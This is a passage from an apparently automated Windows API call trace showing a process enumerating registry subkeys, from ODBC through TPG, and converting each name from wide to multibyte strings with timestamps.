lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0xb3c1a8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notepad", lpUsedDefaultChar=0x0) returned 7 [0241.514] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4d, lpName=0xb3b9b8, cchName=0x104 | out: lpName="ODBC") returned 0x0 [0241.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0241.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0xb3c160, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="odbc", lpUsedDefaultChar=0x0) returned 4 [0241.514] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4e, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Office") returned 0x0 [0241.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0xb3c1a8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="office", lpUsedDefaultChar=0x0) returned 6 [0241.514] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4f, lpName=0xb3b9b8, cchName=0x104 | out: lpName="OfficeSoftwareProtectionPlatform") returned 0x0 [0241.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0241.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0xb3c160, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="officesoftwareprotectionplatform", lpUsedDefaultChar=0x0) returned 32 [0241.515] RegEnumKeyW (in: hKey=0x24, dwIndex=0x50, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Ole") returned 0x0 [0241.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0xb3c1a8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ole", lpUsedDefaultChar=0x0) returned 3 [0241.515] RegEnumKeyW (in: hKey=0x24, dwIndex=0x51, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Outlook Express") returned 0x0 [0241.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0241.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0xb3c160, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="outlook express", lpUsedDefaultChar=0x0) returned 15 [0241.515] RegEnumKeyW (in: hKey=0x24, dwIndex=0x52, lpName=0xb3b9b8, cchName=0x104 | out: lpName="PLA") returned 0x0 [0241.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0xb3c1a8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pla", lpUsedDefaultChar=0x0) returned 3 [0241.515] RegEnumKeyW (in: hKey=0x24, dwIndex=0x53, lpName=0xb3b9b8, cchName=0x104 | out: lpName="PowerShell") returned 0x0 [0241.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0241.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0xb3c160, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="powershell", lpUsedDefaultChar=0x0) returned 10 [0241.515] RegEnumKeyW (in: hKey=0x24, dwIndex=0x54, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Print") returned 0x0 [0241.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0xb3c1a8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="print", lpUsedDefaultChar=0x0) returned 5 [0241.516] RegEnumKeyW (in: hKey=0x24, dwIndex=0x55, lpName=0xb3b9b8, cchName=0x104 | out: lpName="RADAR") returned 0x0 [0241.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0xb3c160, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="radar", lpUsedDefaultChar=0x0) returned 5 [0241.516] RegEnumKeyW (in: hKey=0x24, dwIndex=0x56, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Ras") returned 0x0 [0241.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0xb3c1a8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras", lpUsedDefaultChar=0x0) returned 3 [0241.516] RegEnumKeyW (in: hKey=0x24, dwIndex=0x57, lpName=0xb3b9b8, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0241.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0xb3c160, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras autodial", lpUsedDefaultChar=0x0) returned 12 [0241.517] RegEnumKeyW (in: hKey=0x24, dwIndex=0x58, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Reliability Analysis") returned 0x0 [0241.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0241.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0xb3c1a8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reliability analysis", lpUsedDefaultChar=0x0) returned 20 [0241.517] RegEnumKeyW (in: hKey=0x24, dwIndex=0x59, lpName=0xb3b9b8, cchName=0x104 | out: lpName="RemovalTools") returned 0x0 [0241.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0xb3c160, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="removaltools", lpUsedDefaultChar=0x0) returned 12 [0241.517] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5a, lpName=0xb3b9b8, cchName=0x104 | out: lpName="RendezvousApps") returned 0x0 [0241.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0241.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0xb3c1a8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rendezvousapps", lpUsedDefaultChar=0x0) returned 14 [0241.517] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5b, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Router") returned 0x0 [0241.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0xb3c160, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="router", lpUsedDefaultChar=0x0) returned 6 [0241.517] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5c, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Rpc") returned 0x0 [0241.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0xb3c1a8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rpc", lpUsedDefaultChar=0x0) returned 3 [0241.518] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5d, lpName=0xb3b9b8, cchName=0x104 | out: lpName="SchedulingAgent") returned 0x0 [0241.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0241.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0xb3c160, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schedulingagent", lpUsedDefaultChar=0x0) returned 15 [0241.518] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5e, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Schema Library") returned 0x0 [0241.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0241.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0xb3c1a8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schema library", lpUsedDefaultChar=0x0) returned 14 [0241.518] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5f, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Security Center") returned 0x0 [0241.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0241.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0xb3c160, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security center", lpUsedDefaultChar=0x0) returned 15 [0241.518] RegEnumKeyW (in: hKey=0x24, dwIndex=0x60, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Sensors") returned 0x0 [0241.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0xb3c1a8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sensors", lpUsedDefaultChar=0x0) returned 7 [0241.518] RegEnumKeyW (in: hKey=0x24, dwIndex=0x61, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Shared") returned 0x0 [0241.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0xb3c160, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared", lpUsedDefaultChar=0x0) returned 6 [0241.518] RegEnumKeyW (in: hKey=0x24, dwIndex=0x62, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0241.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0xb3c1a8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools", lpUsedDefaultChar=0x0) returned 12 [0241.519] RegEnumKeyW (in: hKey=0x24, dwIndex=0x63, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Shared Tools Location") returned 0x0 [0241.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0241.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0xb3c160, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools location", lpUsedDefaultChar=0x0) returned 21 [0241.519] RegEnumKeyW (in: hKey=0x24, dwIndex=0x64, lpName=0xb3b9b8, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0241.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0xb3c1a8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sideshow", lpUsedDefaultChar=0x0) returned 8 [0241.519] RegEnumKeyW (in: hKey=0x24, dwIndex=0x65, lpName=0xb3b9b8, cchName=0x104 | out: lpName="SnippingTool") returned 0x0 [0241.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0xb3c160, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="snippingtool", lpUsedDefaultChar=0x0) returned 12 [0241.519] RegEnumKeyW (in: hKey=0x24, dwIndex=0x66, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Software") returned 0x0 [0241.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0xb3c1a8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0241.519] RegEnumKeyW (in: hKey=0x24, dwIndex=0x67, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Speech") returned 0x0 [0241.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0xb3c160, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="speech", lpUsedDefaultChar=0x0) returned 6 [0241.520] RegEnumKeyW (in: hKey=0x24, dwIndex=0x68, lpName=0xb3b9b8, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0241.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0241.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0xb3c1a8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqmclient", lpUsedDefaultChar=0x0) returned 9 [0241.520] RegEnumKeyW (in: hKey=0x24, dwIndex=0x69, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Sync Framework") returned 0x0 [0241.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0241.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0xb3c160, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sync framework", lpUsedDefaultChar=0x0) returned 14 [0241.520] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6a, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Sysprep") returned 0x0 [0241.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0xb3c1a8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sysprep", lpUsedDefaultChar=0x0) returned 7 [0241.520] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6b, lpName=0xb3b9b8, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0241.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0241.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0xb3c160, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="systemcertificates", lpUsedDefaultChar=0x0) returned 18 [0241.520] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6c, lpName=0xb3b9b8, cchName=0x104 | out: lpName="TableTextService") returned 0x0 [0241.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0241.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0xb3c1a8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tabletextservice", lpUsedDefaultChar=0x0) returned 16 [0241.521] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6d, lpName=0xb3b9b8, cchName=0x104 | out: lpName="TabletTip") returned 0x0 [0241.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0241.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0xb3c160, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tablettip", lpUsedDefaultChar=0x0) returned 9 [0241.521] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6e, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Tcpip") returned 0x0 [0241.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0xb3c1a8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tcpip", lpUsedDefaultChar=0x0) returned 5 [0241.521] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6f, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Terminal Server Client") returned 0x0 [0241.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0241.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0xb3c160, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="terminal server client", lpUsedDefaultChar=0x0) returned 22 [0241.521] RegEnumKeyW (in: hKey=0x24, dwIndex=0x70, lpName=0xb3b9b8, cchName=0x104 | out: lpName="TermServLicensing") returned 0x0 [0241.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0241.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0xb3c1a8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="termservlicensing", lpUsedDefaultChar=0x0) returned 17 [0241.521] RegEnumKeyW (in: hKey=0x24, dwIndex=0x71, lpName=0xb3b9b8, cchName=0x104 | out: lpName="TIP Shared") returned 0x0 [0241.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0241.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0xb3c160, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tip shared", lpUsedDefaultChar=0x0) returned 10 [0241.522] RegEnumKeyW (in: hKey=0x24, dwIndex=0x72, lpName=0xb3b9b8, cchName=0x104 | out: lpName="TPG") returned 0x0 [0241.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0xb3c1a8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpg", lpUsedDefaultChar=0x0) returned 3 [0241.522] RegEnumKeyW (in: hKey=0x24, dwIndex=0x73, lpName=0xb3b9b8, 